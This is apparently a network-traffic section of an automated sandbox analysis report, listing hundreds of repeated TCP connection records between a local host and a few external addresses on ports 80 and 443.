Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49174
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49181
Source: global trafficTCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49182 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49181
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49181
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49181
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49181
Source: global trafficTCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49181
Source: global trafficTCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49181
Source: global trafficTCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49181
Source: global trafficTCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49181
Source: global trafficTCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49181
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49181
Source: global trafficTCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49181
Source: global trafficTCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global trafficTCP traffic: 142.250.181.238:443 -> 192.168.2.22:49180
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49176
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49182
Source: global trafficTCP traffic: 192.168.2.22:49182 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49182 -> 187.45.240.69:80
Source: global trafficTCP traffic: 187.45.240.69:80 -> 192.168.2.22:49181
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49180 -> 142.250.181.238:443
Source: global trafficTCP traffic: 192.168.2.22:49173 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49175 -> 104.18.10.207:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49178 -> 142.250.181.238:80
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49176 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49182 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49183 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49184 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49185 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49186 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49187 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49186 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49188 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49189 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49190 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49191 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49192 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49193 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49194 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49195 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49193 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49196 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49198 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49198 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49198 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49196 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49198 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49199 -> 187.45.240.69:80
Source: global trafficTCP traffic: 192.168.2.22:49200 -> 187.45.240.69:80
